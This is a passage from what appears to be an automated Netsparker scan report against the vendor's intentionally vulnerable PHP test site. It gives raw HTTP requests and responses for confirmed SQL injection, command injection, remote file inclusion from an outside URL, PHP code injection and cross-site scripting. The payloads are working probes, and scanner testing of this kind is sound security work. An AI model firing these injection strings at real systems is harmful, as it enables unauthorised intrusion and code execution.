1628 <td>NS1NO </td>
1629 <td>test </td>
1630 <td>2012-03-13 12:14:54 </td>
1631 <td>22 </td>
1632 </tr>
1633 <tr class="even">
1634 <td>415 </td>
1635 <td>1 AND 'NS='ss </td>
1636 <td>test </td>
1637 <td>2012-03-13 12:14:54 </td>
1638 <td>22 </td>
1639 </tr>
1640 <tr class="odd">
1641 <td>416 </td>
1642 <td>' OR 'ns'='ns </td>
1643 <td>test </td>
1644 <td>2012-03-13 12:14:54 </td>
1645 <td>22 </td>
1646 </tr>
1647 <tr class="even">
1648 <td>417 </td>
1649 <td>-1 OR 17-7=10 </td>
1650 <td>test </td>
1651 <td>2012-03-13 12:14:54 </td>
1652 <td>22 </td>
1653 </tr>
1654 <tr class="odd">
1655 <td>418 </td>
1656 <td>1 OR X='ss </td>
1657 <td>test </td>
1658 <td>2012-03-13 12:14:54 </td>
1659 <td>22 </td>
1660 </tr>
1661 <tr class="even">
1662 <td>419 </td>
1663 <td>' OR '1'='1 </td>
1664 <td>test </td>
1665 <td>2012-03-13 12:14:54 </td>
1666 <td>22 </td>
1667 </tr>
1668 <tr class="odd">
1669 <td>420 </td>
1670 <td>' OR '1'='1 </td>
1671 <td>test </td>
1672 <td>2012-03-13 12:14:54 </td>
1673 <td>22 </td>
1674 </tr>
1675 </tbody></table> </p>
1676
1677 </div>
1678 </div>
1679 <div style="clear: both;">&nbsp;</div>
1680 </div>
1681 <!-- end #content -->
1682
1683 <div id="sidebar">
1684 <ul>
1685 <li>
1686 <div id="search" >
1687 <form method="get" action="artist.php">
1688 <div>
1689 <input type="text" name="s" id="search-text" value="" />
1690 <input type="submit" id="search-submit" value="GO" />
1691 </div>
1692 </form>
1693
1694 </div>
1695 <div style="clear: both;">&nbsp;</div>
1696 </li>
1697 <li>
1698 <h2>Tags</h2>
1699 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
1700 </li>
1701 <li>
1702 <h2>Inner Pages</h2>
1703 <ul>
1704 <li><a href="artist.php?id=test">Artist Search</a></li>
1705 <li><a href="nslookup.php">Lookup Service</a></li>
1706 </ul>
1707 </li>
1708 <li>
1709 <h2>Links</h2>
1710 <ul>
1711 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
1712 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
1713 </ul>
1714 </li>
1715 </ul>
1716 </div> <!-- end #sidebar -->
1717 <div style="clear: both;">&nbsp;</div>
1718 </div>
1719 </div>
1720 </div>
1721 <!-- end #page -->
1722 </div>
1723
1724 <div id="footer">
1725 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
1726 </div> <!-- end #footer -->
1727 </body>
1728 </html>
1729 ]]></rawresponse>
1730 <extrainformation>
1731 </extrainformation>
1732
1733 <classification>
1734 <OWASP>A1</OWASP>
1735 <WASC>19</WASC>
1736 <CWE>89</CWE>
1737 <CAPEC>66</CAPEC>
1738 <PCI>6.5.2</PCI>
1739 <PCI2>6.5.1</PCI2>
1740 </classification>
1741
1742 </vulnerability>
1743 <vulnerability confirmed="True">
1744 <url>http://php.testsparker.com/nslookup.php</url>
1745 <type>CommandInjection</type>
1746 <severity>Critical</severity>
1747 <certainty>100</certainty>
1748
1749 <vulnerableparametertype>POST</vulnerableparametertype>
1750 <vulnerableparameter>param</vulnerableparameter>
1751 <vulnerableparametervalue>&apos;&amp; SET /A 0xFFF9999-2 &amp;</vulnerableparametervalue>
1752 <rawrequest><![CDATA[POST /nslookup.php HTTP/1.1
1753 Cache-Control: no-cache
1754 Referer: http://php.testsparker.com/nslookup.php
1755 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
1756 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
1757 X-Scanner: Netsparker
1758 Accept-Language: en-us,en;q=0.5
1759 Host: php.testsparker.com
1760 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
1761 Accept-Encoding: gzip, deflate
1762 Content-Length: 37
1763 Content-Type: application/x-www-form-urlencoded
1764
1765 param=%27%26+SET+%2fA+0xFFF9999-2+%26]]></rawrequest>
1766 <rawresponse><![CDATA[HTTP/1.1 200 OK
1767 Date: Fri, 29 Nov 2013 11:28:37 GMT
1768 Server: Apache/2.2.8 (Win32) PHP/5.2.6
1769 X-Powered-By: PHP/5.2.6
1770 Content-Length: 3854
1771 Content-Type: text/html
1772
1773
1774 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1775 <html xmlns="http://www.w3.org/1999/xhtml">
1776 <head>
1777 <meta name="keywords" content="" />
1778 <meta name="description" content="" />
1779 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
1780 <title>Netsparker Test Web Site - PHP</title>
1781 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
1782 </head><script type=text/javascript src = "" ></script>
1783 <body>
1784 <div id="wrapper">
1785
1786 <div id="menu">
1787 <ul>
1788 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
1789 <li><a href="hello.php?name=Visitor">Hello</a></li>
1790 <li><a href="products.php?pro=url">Products</a></li>
1791 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
1792 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
1793 <li><a href="auth/">Login</a></li>
1794 </ul>
1795 </div>
1796 <!-- end #menu -->
1797 <div id="header">
1798
1799 </div>
1800 <!-- end #header --> <div id="page">
1801 <div id="page-bgtop">
1802 <div id="page-bgbtm">
1803 <div id="content">
1804 <div class="post">
1805 <h2 class="title"><a href="#">Products </a></h2>
1806
1807 <div style="clear: both;">&nbsp;</div>
1808 <div class="entry">
1809 <p>
1810 <form action="/nslookup.php" method="POST">
1811 <table class="databases">
1812 <tr>
1813 <td colspan="3">
1814 </td>
1815 </tr>
1816 <tr>
1817 <td class="label" style="width: 89px">
1818 <label>IP Adress:</label></td>
1819 <td class="style3">
1820 <input type="text" size="40" name="param" id="param" class="input"/>
1821 </td>
1822 <td class="style1">
1823 <input type="submit" value="GO" class="button" id="submit"
1824 onclick="return submit_onclick()" dir="ltr" />
1825 </td>
1826 </tr>
1827 <tr>
1828 <td class="label" style="width: 89px">
1829 &nbsp;</td>
1830 <td class="style1" colspan="2">
1831 &nbsp;</td>
1832 </tr>
1833 <tr>
1834 <td class="label" style="width: 89px"></td>
1835 <td class="style1" colspan="2">
1836 </td>
1837 </tr>
1838 </table>
1839 </form>
1840 <pre>Server: ip-172-16-0-23.ec2.internal
1841 Address: 172.16.0.23
1842
1843 268409239</pre> </p>
1844 </div>
1845 </div>
1846 <div style="clear: both;">&nbsp;</div>
1847 </div>
1848 <!-- end #content -->
1849
1850 <div id="sidebar">
1851 <ul>
1852 <li>
1853 <div id="search" >
1854 <form method="get" action="artist.php">
1855 <div>
1856 <input type="text" name="s" id="search-text" value="" />
1857 <input type="submit" id="search-submit" value="GO" />
1858 </div>
1859 </form>
1860
1861 </div>
1862 <div style="clear: both;">&nbsp;</div>
1863 </li>
1864 <li>
1865 <h2>Tags</h2>
1866 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
1867 </li>
1868 <li>
1869 <h2>Inner Pages</h2>
1870 <ul>
1871 <li><a href="artist.php?id=test">Artist Search</a></li>
1872 <li><a href="nslookup.php">Lookup Service</a></li>
1873 </ul>
1874 </li>
1875 <li>
1876 <h2>Links</h2>
1877 <ul>
1878 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
1879 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
1880 </ul>
1881 </li>
1882 </ul>
1883 </div> <!-- end #sidebar -->
1884 <div style="clear: both;">&nbsp;</div>
1885 </div>
1886 </div>
1887 </div>
1888 <!-- end #page -->
1889 </div>
1890
1891 <div id="footer">
1892 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
1893 </div> <!-- end #footer -->
1894 </body>
1895 </html>
1896 ]]></rawresponse>
1897 <extrainformation>
1898 </extrainformation>
1899
1900 <classification>
1901 <OWASP>A1</OWASP>
1902 <WASC>31</WASC>
1903 <CWE>78</CWE>
1904 <CAPEC>88</CAPEC>
1905 <PCI>6.5.2</PCI>
1906 <PCI2>6.5.1</PCI2>
1907 </classification>
1908
1909 </vulnerability>
1910 <vulnerability confirmed="True">
1911 <url>http://php.testsparker.com/nslookup.php</url>
1912 <type>BlindCommandInjection</type>
1913 <severity>Critical</severity>
1914 <certainty>100</certainty>
1915
1916 <vulnerableparametertype>POST</vulnerableparametertype>
1917 <vulnerableparameter>param</vulnerableparameter>
1918 <vulnerableparametervalue>&apos;&amp; ping -n 25 127.0.0.1 &amp;</vulnerableparametervalue>
1919 <rawrequest><![CDATA[POST /nslookup.php HTTP/1.1
1920 Cache-Control: no-cache
1921 Referer: http://php.testsparker.com/nslookup.php
1922 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
1923 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
1924 X-Scanner: Netsparker
1925 Accept-Language: en-us,en;q=0.5
1926 Host: php.testsparker.com
1927 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
1928 Accept-Encoding: gzip, deflate
1929 Content-Length: 37
1930 Content-Type: application/x-www-form-urlencoded
1931
1932 param=%27%26+ping+-n+25+127.0.0.1+%26]]></rawrequest>
1933 <rawresponse><![CDATA[HTTP/1.1 200 OK
1934 Date: Fri, 29 Nov 2013 11:28:41 GMT
1935 Server: Apache/2.2.8 (Win32) PHP/5.2.6
1936 X-Powered-By: PHP/5.2.6
1937 Content-Length: 5273
1938 Content-Type: text/html
1939
1940
1941 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1942 <html xmlns="http://www.w3.org/1999/xhtml">
1943 <head>
1944 <meta name="keywords" content="" />
1945 <meta name="description" content="" />
1946 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
1947 <title>Netsparker Test Web Site - PHP</title>
1948 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
1949 </head><script type=text/javascript src = "" ></script>
1950 <body>
1951 <div id="wrapper">
1952
1953 <div id="menu">
1954 <ul>
1955 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
1956 <li><a href="hello.php?name=Visitor">Hello</a></li>
1957 <li><a href="products.php?pro=url">Products</a></li>
1958 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
1959 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
1960 <li><a href="auth/">Login</a></li>
1961 </ul>
1962 </div>
1963 <!-- end #menu -->
1964 <div id="header">
1965
1966 </div>
1967 <!-- end #header --> <div id="page">
1968 <div id="page-bgtop">
1969 <div id="page-bgbtm">
1970 <div id="content">
1971 <div class="post">
1972 <h2 class="title"><a href="#">Products </a></h2>
1973
1974 <div style="clear: both;">&nbsp;</div>
1975 <div class="entry">
1976 <p>
1977 <form action="/nslookup.php" method="POST">
1978 <table class="databases">
1979 <tr>
1980 <td colspan="3">
1981 </td>
1982 </tr>
1983 <tr>
1984 <td class="label" style="width: 89px">
1985 <label>IP Adress:</label></td>
1986 <td class="style3">
1987 <input type="text" size="40" name="param" id="param" class="input"/>
1988 </td>
1989 <td class="style1">
1990 <input type="submit" value="GO" class="button" id="submit"
1991 onclick="return submit_onclick()" dir="ltr" />
1992 </td>
1993 </tr>
1994 <tr>
1995 <td class="label" style="width: 89px">
1996 &nbsp;</td>
1997 <td class="style1" colspan="2">
1998 &nbsp;</td>
1999 </tr>
2000 <tr>
2001 <td class="label" style="width: 89px"></td>
2002 <td class="style1" colspan="2">
2003 </td>
2004 </tr>
2005 </table>
2006 </form>
2007 <pre>Server: ip-172-16-0-23.ec2.internal
2008 Address: 172.16.0.23
2009
2010
2011 Pinging 127.0.0.1 with 32 bytes of data:
2012 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2013 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2014 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2015 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2016 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2017 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2018 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2019 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2020 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2021 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2022 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2023 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2024 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2025 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2026 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2027 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2028 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2029 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2030 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2031 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2032 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2033 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2034 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2035 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2036 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
2037
2038 Ping statistics for 127.0.0.1:
2039 Packets: Sent = 25, Received = 25, Lost = 0 (0% loss),
2040 Approximate round trip times in milli-seconds:
2041 Minimum = 0ms, Maximum = 0ms, Average = 0ms
2042 </pre> </p>
2043 </div>
2044 </div>
2045 <div style="clear: both;">&nbsp;</div>
2046 </div>
2047 <!-- end #content -->
2048
2049 <div id="sidebar">
2050 <ul>
2051 <li>
2052 <div id="search" >
2053 <form method="get" action="artist.php">
2054 <div>
2055 <input type="text" name="s" id="search-text" value="" />
2056 <input type="submit" id="search-submit" value="GO" />
2057 </div>
2058 </form>
2059
2060 </div>
2061 <div style="clear: both;">&nbsp;</div>
2062 </li>
2063 <li>
2064 <h2>Tags</h2>
2065 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2066 </li>
2067 <li>
2068 <h2>Inner Pages</h2>
2069 <ul>
2070 <li><a href="artist.php?id=test">Artist Search</a></li>
2071 <li><a href="nslookup.php">Lookup Service</a></li>
2072 </ul>
2073 </li>
2074 <li>
2075 <h2>Links</h2>
2076 <ul>
2077 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2078 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2079 </ul>
2080 </li>
2081 </ul>
2082 </div> <!-- end #sidebar -->
2083 <div style="clear: both;">&nbsp;</div>
2084 </div>
2085 </div>
2086 </div>
2087 <!-- end #page -->
2088 </div>
2089
2090 <div id="footer">
2091 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2092 </div> <!-- end #footer -->
2093 </body>
2094 </html>
2095 ]]></rawresponse>
2096 <extrainformation>
2097 </extrainformation>
2098
2099 <classification>
2100 <OWASP>A1</OWASP>
2101 <WASC>31</WASC>
2102 <CWE>78</CWE>
2103 <CAPEC>88</CAPEC>
2104 <PCI>6.5.2</PCI>
2105 <PCI2>6.5.1</PCI2>
2106 </classification>
2107
2108 </vulnerability>
2109 <vulnerability confirmed="True">
2110 <url>http://php.testsparker.com/process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp</url>
2111 <type>Rfi</type>
2112 <severity>Critical</severity>
2113 <certainty>100</certainty>
2114
2115 <vulnerableparametertype>GET</vulnerableparametertype>
2116 <vulnerableparameter>file</vulnerableparameter>
2117 <vulnerableparametervalue>http://netsparker.com/n?&#xFF;.nsp</vulnerableparametervalue>
2118 <rawrequest><![CDATA[GET /process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp HTTP/1.1
2119 Cache-Control: no-cache
2120 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2121 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2122 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2123 X-Scanner: Netsparker
2124 Accept-Language: en-us,en;q=0.5
2125 Host: php.testsparker.com
2126 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2127 Accept-Encoding: gzip, deflate
2128
2129 ]]></rawrequest>
2130 <rawresponse><![CDATA[HTTP/1.1 200 OK
2131 Date: Fri, 29 Nov 2013 11:27:03 GMT
2132 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2133 X-Powered-By: PHP/5.2.6
2134 Content-Length: 1615
2135 Content-Type: text/html
2136
2137
2138 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2139 <html xmlns="http://www.w3.org/1999/xhtml">
2140 <head>
2141 <meta name="keywords" content="" />
2142 <meta name="description" content="" />
2143 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2144 <title>Netsparker Test Web Site - PHP</title>
2145 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2146 </head><body>
2147 <div id="wrapper">
2148
2149 <div id="menu">
2150 <ul>
2151 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2152 <li><a href="hello.php?name=Visitor">Hello</a></li>
2153 <li><a href="products.php?pro=url">Products</a></li>
2154 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2155 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2156 <li><a href="auth/">Login</a></li>
2157 </ul>
2158 </div>
2159 <!-- end #menu -->
2160 <div id="header">
2161
2162 </div>
2163 <!-- end #header --> NETSPARKER_F0M1-44353702950-<%=chr(78) + chr(69) + chr(84) + chr(83) + chr(80) + chr(65) + chr(82) + chr(75) + chr(69) + chr(82) + chr(95) + chr(70) + chr(48) + chr(77) + chr(49) %>
2164 <%=chr(45) & (44353702950+(Cint(Request("nsxint"))*4567)) & chr(45) %>
2165 <script>netsparkerRFI(0x066666)</script> <!-- process.php load pages from path of the website. -->
2166 <!-- FIXME: File / directory permissions -->
2167 <!-- end #page -->
2168 </div>
2169
2170 <div id="footer">
2171 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2172 </div> <!-- end #footer -->
2173 </body>
2174 </html>
2175 ]]></rawresponse>
2176 <extrainformation>
2177 </extrainformation>
2178
2179 <classification>
2180 <OWASP>A1</OWASP>
2181 <WASC>05</WASC>
2182 <CWE>98</CWE>
2183 <CAPEC>193</CAPEC>
2184 <PCI>6.5.3</PCI>
2185 <PCI2>6.5.1</PCI2>
2186 </classification>
2187
2188 </vulnerability>
2189 <vulnerability confirmed="True">
2190 <url>http://php.testsparker.com/hello.php?name=%2bprint(int)0xFFF9999-22%3b%2f%2f</url>
2191 <type>RcePhp</type>
2192 <severity>Critical</severity>
2193 <certainty>100</certainty>
2194
2195 <vulnerableparametertype>GET</vulnerableparametertype>
2196 <vulnerableparameter>name</vulnerableparameter>
2197 <vulnerableparametervalue>+print(int)0xFFF9999-22;//</vulnerableparametervalue>
2198 <rawrequest><![CDATA[GET /hello.php?name=%2bprint(int)0xFFF9999-22%3b%2f%2f HTTP/1.1
2199 Cache-Control: no-cache
2200 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2201 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2202 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2203 X-Scanner: Netsparker
2204 Accept-Language: en-us,en;q=0.5
2205 Host: php.testsparker.com
2206 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2207 Accept-Encoding: gzip, deflate
2208
2209 ]]></rawrequest>
2210 <rawresponse><![CDATA[HTTP/1.1 200 OK
2211 Date: Fri, 29 Nov 2013 11:26:47 GMT
2212 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2213 X-Powered-By: PHP/5.2.6
2214 Content-Length: 2762
2215 Content-Type: text/html
2216
2217
2218 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2219 <html xmlns="http://www.w3.org/1999/xhtml">
2220 <head>
2221 <meta name="keywords" content="" />
2222 <meta name="description" content="" />
2223 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2224 <title>Netsparker Test Web Site - PHP</title>
2225 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2226 </head><body>
2227 <div id="wrapper">
2228
2229 <div id="menu">
2230 <ul>
2231 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2232 <li><a href="hello.php?name=Visitor">Hello</a></li>
2233 <li><a href="products.php?pro=url">Products</a></li>
2234 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2235 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2236 <li><a href="auth/">Login</a></li>
2237 </ul>
2238 </div>
2239 <!-- end #menu -->
2240 <div id="header">
2241
2242 </div>
2243 <!-- end #header --> <div id="page">
2244 <div id="page-bgtop">
2245 <div id="page-bgbtm">
2246 <div id="content">
2247 <div class="post">
2248 <h1 class="title"><a href="#">Hello Service </a></h1>
2249 <p>
2250 Hello Visitor26840921921$str = 21 +print(int)0xFFF9999-22;//;21 </p>
2251
2252 <div style="clear: both;">&nbsp;</div>
2253 <div class="entry">
2254
2255
2256 </div>
2257 </div>
2258 <div style="clear: both;">&nbsp;</div>
2259 </div>
2260 <!-- end #content -->
2261
2262 <div id="sidebar">
2263 <ul>
2264 <li>
2265 <div id="search" >
2266 <form method="get" action="artist.php">
2267 <div>
2268 <input type="text" name="s" id="search-text" value="" />
2269 <input type="submit" id="search-submit" value="GO" />
2270 </div>
2271 </form>
2272
2273 </div>
2274 <div style="clear: both;">&nbsp;</div>
2275 </li>
2276 <li>
2277 <h2>Tags</h2>
2278 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2279 </li>
2280 <li>
2281 <h2>Inner Pages</h2>
2282 <ul>
2283 <li><a href="artist.php?id=test">Artist Search</a></li>
2284 <li><a href="nslookup.php">Lookup Service</a></li>
2285 </ul>
2286 </li>
2287 <li>
2288 <h2>Links</h2>
2289 <ul>
2290 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2291 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2292 </ul>
2293 </li>
2294 </ul>
2295 </div> <!-- end #sidebar -->
2296 <div style="clear: both;">&nbsp;</div>
2297 </div>
2298 </div>
2299 </div>
2300 <!-- end #page -->
2301 </div>
2302 v
2303 <div id="footer">
2304 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2305 </div> <!-- end #footer -->
2306 </body>
2307 </html>
2308 ]]></rawresponse>
2309 <extrainformation>
2310 </extrainformation>
2311
2312 <classification>
2313 <OWASP>A1</OWASP>
2314 <WASC></WASC>
2315 <CWE>95</CWE>
2316 <CAPEC>23</CAPEC>
2317 <PCI>6.5.2</PCI>
2318 <PCI2>6.5.1</PCI2>
2319 </classification>
2320
2321 </vulnerability>
2322 <vulnerability confirmed="True">
2323 <url>http://php.testsparker.com/products.php?pro=%27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt%3ealert(0x000097)%3c%2fscRipt%3e</url>
2324 <type>Xss</type>
2325 <severity>Important</severity>
2326 <certainty>100</certainty>
2327
2328 <vulnerableparametertype>GET</vulnerableparametertype>
2329 <vulnerableparameter>pro</vulnerableparameter>
2330 <vulnerableparametervalue>&apos;&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x000097)&lt;/scRipt&gt;</vulnerableparametervalue>
2331 <rawrequest><![CDATA[GET /products.php?pro='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000097)%3C/scRipt%3E HTTP/1.1
2332 Cache-Control: no-cache
2333 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2334 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2335 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2336 X-Scanner: Netsparker
2337 Accept-Language: en-us,en;q=0.5
2338 Host: php.testsparker.com
2339 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2340 Accept-Encoding: gzip, deflate
2341
2342 ]]></rawrequest>
2343 <rawresponse><![CDATA[HTTP/1.1 200 OK
2344 Date: Fri, 29 Nov 2013 11:26:49 GMT
2345 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2346 X-Powered-By: PHP/5.2.6
2347 Content-Length: 2749
2348 Content-Type: text/html
2349
2350
2351
2352
2353 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2354 <html xmlns="http://www.w3.org/1999/xhtml">
2355 <head>
2356 <meta name="keywords" content="" />
2357 <meta name="description" content="" />
2358 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2359 <title>Netsparker Test Web Site - PHP</title>
2360 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2361 </head><script type=text/javascript src = "'"--></style></scRipt><scRipt>netsparker(0x000097)</scRipt>" ></script>
2362 <body>
2363 <div id="wrapper">
2364
2365 <div id="menu">
2366 <ul>
2367 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2368 <li><a href="hello.php?name=Visitor">Hello</a></li>
2369 <li><a href="products.php?pro=url">Products</a></li>
2370 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2371 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2372 <li><a href="auth/">Login</a></li>
2373 </ul>
2374 </div>
2375 <!-- end #menu -->
2376 <div id="header">
2377
2378 </div>
2379 <!-- end #header --> <div id="page">
2380 <div id="page-bgtop">
2381 <div id="page-bgbtm">
2382 <div id="content">
2383 <div class="post">
2384 <div class="entry">
2385 <h1 class="title"><a href="#">Products </a></h1>
2386 <p>Currently , we don&#39;t have any products to sell.</p>
2387 </div>
2388 </div>
2389 <div style="clear: both;">&nbsp;</div>
2390 </div>
2391 <!-- end #content -->
2392
2393 <div id="sidebar">
2394 <ul>
2395 <li>
2396 <div id="search" >
2397 <form method="get" action="artist.php">
2398 <div>
2399 <input type="text" name="s" id="search-text" value="" />
2400 <input type="submit" id="search-submit" value="GO" />
2401 </div>
2402 </form>
2403
2404 </div>
2405 <div style="clear: both;">&nbsp;</div>
2406 </li>
2407 <li>
2408 <h2>Tags</h2>
2409 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
2410 </li>
2411 <li>
2412 <h2>Inner Pages</h2>
2413 <ul>
2414 <li><a href="artist.php?id=test">Artist Search</a></li>
2415 <li><a href="nslookup.php">Lookup Service</a></li>
2416 </ul>
2417 </li>
2418 <li>
2419 <h2>Links</h2>
2420 <ul>
2421 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2422 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2423 </ul>
2424 </li>
2425 </ul>
2426 </div> <!-- end #sidebar -->
2427 <div style="clear: both;">&nbsp;</div>
2428 </div>
2429 </div>
2430 </div>
2431 <!-- end #page -->
2432 </div>
2433
2434 <div id="footer">
2435 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2436 </div> <!-- end #footer -->
2437 </body>
2438 </html>
2439 ]]></rawresponse>
2440 <extrainformation>
2441 </extrainformation>
2442
2443 <classification>
2444 <OWASP>A2</OWASP>
2445 <WASC>08</WASC>
2446 <CWE>79</CWE>
2447 <CAPEC>19</CAPEC>
2448 <PCI>6.5.1</PCI>
2449 <PCI2>6.5.7</PCI2>
2450 </classification>
2451
2452 </vulnerability>
2453 <vulnerability confirmed="True">
2454 <url>http://php.testsparker.com/hello.php?name=%27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt%3ealert(0x000090)%3c%2fscRipt%3e</url>
2455 <type>Xss</type>
2456 <severity>Important</severity>
2457 <certainty>100</certainty>
2458
2459 <vulnerableparametertype>GET</vulnerableparametertype>
2460 <vulnerableparameter>name</vulnerableparameter>
2461 <vulnerableparametervalue>&apos;&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x000090)&lt;/scRipt&gt;</vulnerableparametervalue>
